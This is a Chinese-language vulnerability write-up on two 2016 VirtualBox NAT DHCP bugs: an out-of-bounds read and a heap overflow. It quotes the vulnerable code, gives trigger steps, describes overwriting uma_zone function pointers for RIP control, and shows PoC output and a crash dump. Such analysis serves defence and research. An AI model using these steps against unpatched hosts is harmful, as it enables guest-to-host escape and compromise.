0x001 简介

这是前些年一组VirtualBox的逃逸漏洞。NAT模式下的VirtualBox guest虚拟机(默认网络配置)启用每个VM DHCP服务器,该服务器为guest虚拟机分配IP地址。

renorobert@ubuntuguest:~$ ifconfig enp0s3
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:b8:b7:4c  
          inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:119 errors:0 dropped:0 overruns:0 frame:0
          TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11737 (11.7 KB)  TX bytes:12157 (12.1 KB)

伪造的DHCP服务器在10.0.2.2的IP地址上,发送到此DHCP服务器的数据包将由host机来进行解析

renorobert@ubuntuguest:~$ sudo nmap -sU -p 68 10.0.2.2
. . .
68/udp open|filtered dhcpc
MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)

Oracle在2016年10月期间修复了两个漏洞CVE-2016-5610CVE-2016-5611。该漏洞存在于代码src/Vbox/Devices/Network/slirp/bootp.c中,影响5.0.28、5.1.8之前的VirtualBox版本。
Oracle重要补丁更新公告 - 2016年10月

DHCP数据包在src/Vbox/Devices/Network/slirp/bootp.c中定义如下:

#define DHCP_OPT_LEN            312

/* RFC 2131 */
struct bootp_t
{
    struct ip      ip;                          /**< header: IP header */
    struct udphdr  udp;                         /**< header: UDP header */
    uint8_t        bp_op;                       /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */
    uint8_t        bp_htype;                    /**< hardware type */
    uint8_t        bp_hlen;                     /**< hardware address length */
    uint8_t        bp_hops;                     /**< hop count */
    uint32_t       bp_xid;                      /**< transaction ID */
    uint16_t       bp_secs;                     /**< numnber of seconds */
    uint16_t       bp_flags;                    /**< flags (DHCP_FLAGS_B) */
    struct in_addr bp_ciaddr;                   /**< client IP address */
    struct in_addr bp_yiaddr;                   /**< your IP address */
    struct in_addr bp_siaddr;                   /**< server IP address */
    struct in_addr bp_giaddr;                   /**< gateway IP address */
    uint8_t        bp_hwaddr[16];               /** client hardware address */
    uint8_t        bp_sname[64];                /** server host name */
    uint8_t        bp_file[128];                /** boot filename */
    uint8_t        bp_vend[DHCP_OPT_LEN];       /**< vendor specific info */
};

DHCP服务器维护一个BOOTPClient结构数组(bootp.c),以跟踪所有分配的IP地址。

/** Entry in the table of known DHCP clients. */
typedef struct
{
    uint32_t xid;
    bool allocated;
    uint8_t macaddr[6];
    struct in_addr addr;
    int number;
} BOOTPClient;

/** Number of DHCP clients supported by NAT. */
#define NB_ADDR     16

调用bootp_dhcp_init()在VM初始化期间初始这个数组

int bootp_dhcp_init(PNATState pData)
{
    pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR);
    if (!pData->pbootp_clients)
        return VERR_NO_MEMORY;

    return VINF_SUCCESS;
}

0x002 CVE-2016-5611 dhcp_find_option()中的越界读取漏洞

static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
{
    uint8_t *q = vend;
    uint8_t len;
    . . .
    while(*q != RFC1533_END)          // expects  END tag in an untrusted input 
    {
        if (*q == RFC1533_PAD)
        {
            q++;   // incremented without validation 
            continue;
        }
        if (*q == tag)
            return q;   // returns pointer if tag found
        q++;
        len = *q;    
        q += 1 + len;   // length and pointer not validated
    }
    return NULL;
}

dhcp_find_option()解析guest虚拟机在DHCP数据包中提供的bp_vend字段。但是,缺少正确的验证可能会返回一个在DHCP数据包缓冲区外的指针,或者如果while循环永远不会终止直到访问未映射的地址,则会导致VM崩溃。利用该漏洞,通过发送DHCP拒绝数据包去触发信息泄漏。

bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
bootp.c:412:    req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
bootp.c:413:    server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID);
bootp.c:701:    pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE);
bootp.c:726:        parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST);
bootp.c:773:            pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size)
{
. . .
        case DHCPDECLINE:
            /* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points
             * to Dhcp Option RFC2132_REQ_ADDR
             */
            pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
 . . .
            req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2);
            rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL);
            if (RT_FAILURE(rc))
            {
                . . .
                bc->addr.s_addr = req_ip.s_addr;
                slirp_arp_who_has(pData, bc->addr.s_addr);
                LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip));
            }
            /* no response required */
            break;
. . .

客户端发送DHCPDECLINE消息,表明提供的IP地址已在使用中。此IP地址是bp_vend字段的一部分。服务器调用dhcp_find_option()以获取指向bp_vend字段内的IP地址的指针。这里可以返回DHCP缓冲区外的指针,指向一些垃圾数据作为IP地址。

服务器首先通过调用bootp_cache_lookup_ether_by_ip()来检查IP地址是否已在分配的列表中。如果没有,它进一步调用slirp_arp_who_has来生成ARP请求,其中在DHCP缓冲区外部读取的字节为IP地址。该请求将由guest虚拟机接收,因为它的广播数据包泄漏了一些字节。

要触发此漏洞,需要发送一个DHCPDECLINE数据包,其中bp_vend填充RFC1533_PAD。如果没有崩溃,将触发ARP数据包,如下所示:

renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp
[sudo] password for renorobert:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 45.103.99.109 (Broadcast) tell 10.0.2.2, length 46

45.103.99.109是泄漏的主机进程字节。

0x003 CVE-2016-5610 - dhcp_decode_request()中的堆溢出

static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m)
{
. . .
    /*?? renewing ??*/
    switch (dhcp_stat)
    {
        case RENEWING:
 . . .
               Assert((bp->bp_hlen == ETH_ALEN));
               memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
               bc->addr.s_addr = bp->bp_ciaddr.s_addr;
            }
            break;

        case INIT_REBOOT:
 . . .
            Assert((bp->bp_hlen == ETH_ALEN));
            memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
            bc->addr.s_addr = ui32;
            break;
. . .
}

在解析DHCPREQUEST数据包时,没有验证bp-> bp_hlen字段。断言语句Assert((bp-> bp_hlen == ETH_ALEN))在release版本中不编译,当将bp_hwaddr从伪造的DHCP数据包复制到BOOTPClient结构中的macaddr字段时,会导致堆缓冲区溢出。

p_hlen是一个字节,因此最大值可以是255。但是,BOOTPClient结构数组的大小大于300字节。由于没有关键数据可以破坏,因此在此数组中溢出并不是很有效。为了使这个溢出有效,我们必须到达BOOTPClient结构数组的末尾(pbootp_clients)。

pbootp_clients数组可以存储有关16个客户端请求[0 ... 15]的信息。在VM初始化期间,数组中的第一个元素已使用了访客IP地址。为了将更多客户端请求添加进该数组,guest虚拟机可以发送另外14个具有唯一信息的DHCPREQUEST数据包。处理第15个DHCPREQUEST数据包时,通过将bp_hlen设置为最大值来触发溢出。

由于pbootp_clients是在VM初始化过程中早期分配的,并且溢出限制为最多255个字节,因此相邻缓冲区需要有趣。在Ubuntu 16.04中测试VirtualBox 5.0.26时,相邻的缓冲区是在src/Vbox/Devices/Network/slirp/zone.h中定义的uma_zone结构。

# define ZONE_MAGIC 0xdead0002
struct uma_zone
{
    uint32_t magic;
    PNATState pData; /* to minimize changes in the rest of UMA emulation code */
    RTCRITSECT csZone;
    const char *name;
    size_t size; /* item size */
    ctor_t pfCtor;
    dtor_t pfDtor;
    zinit_t pfInit;
    zfini_t pfFini;
    uma_alloc_t pfAlloc;
    uma_free_t pfFree;
    int max_items;
    int cur_items;
    LIST_HEAD(RT_NOTHING, item) used_items;
    LIST_HEAD(RT_NOTHING, item) free_items;
    uma_zone_t master_zone;
    void *area;
    /** Needs call pfnXmitPending when memory becomes available if @c true.
     * @remarks Only applies to the master zone (master_zone == NULL) */
    bool fDoXmitPending;
};

此结构用于在src/Vbox/Devices/Network/slirp/misc.c中定义的函数。破坏pfCtorpfDtorpfInitpfFinipfAllocpfFree会在NAT线程或每个vCPU EMT线程中拿到RIP控制权。

$ sudo ./poc enp0s3
[sudo] password for renorobert: 
poc: [+] Using interface enp0s3...
poc: [+] Sending DHCP requests...
poc: [+] Current IP address : 10.0.2.15
poc: [+] Requesting IP address : 10.0.2.16
poc: [+] Requesting IP address : 10.0.2.17
poc: [+] Requesting IP address : 10.0.2.18
poc: [+] Requesting IP address : 10.0.2.19
poc: [+] Requesting IP address : 10.0.2.20
poc: [+] Requesting IP address : 10.0.2.21
poc: [+] Requesting IP address : 10.0.2.22
poc: [+] Requesting IP address : 10.0.2.23
poc: [+] Requesting IP address : 10.0.2.24
poc: [+] Requesting IP address : 10.0.2.25
poc: [+] Requesting IP address : 10.0.2.26
poc: [+] Requesting IP address : 10.0.2.27
poc: [+] Requesting IP address : 10.0.2.28
poc: [+] Requesting IP address : 10.0.2.29
poc: [+] Requesting IP address : 10.0.2.30
poc: [+] Overflowing bootp_clients into uma_zone structure…
gdb-peda$ c
Continuing.

Thread 11 "EMT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fd20e4af700 (LWP 27148)]

[----------------------------------registers-----------------------------------]
RAX: 0xfffffe95 
RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RCX: 0x0 
RDX: 0x0 
RSI: 0x42424242 ('BBBB')
RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 
RIP: 0x7fd1df22308e (call   QWORD PTR [rbx+0x70])
R8 : 0x0 
R9 : 0x0 
R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push   rbp)
R11: 0x0 
R12: 0x7fd1f0852080 --> 0x800 
R13: 0x7fd20e4aeb90 --> 0x100000002 
R14: 0x7fd1f05ea340 ('B' , "\b")
R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push   rbp)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fd1df223086: xor    edx,edx
   0x7fd1df223088: mov    esi,DWORD PTR [rbx+0x48]
   0x7fd1df22308b: mov    rdi,rbx
=> 0x7fd1df22308e: call   QWORD PTR [rbx+0x70]
   0x7fd1df223091: test   rax,rax
   0x7fd1df223094: mov    r12,rax
   0x7fd1df223097: je     0x7fd1df2230b5
   0x7fd1df223099: mov    rax,QWORD PTR [rbx+0x50]
Guessed arguments:
arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
arg[1]: 0x42424242 ('BBBB')
arg[2]: 0x0 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 
0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800 
0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff 
0024| 0x7fd20e4aeb68 --> 0x11a 
0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test   rax,rax)
0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0 
0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/VBoxDD.so

gdb-peda$ x/gx $rbx+0x70
0x7fd1f05ea3a0: 0xdeadbeef00000000

以上两个漏洞的POC可以在这里下载virtualbox-nat-dhcp-bugs

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖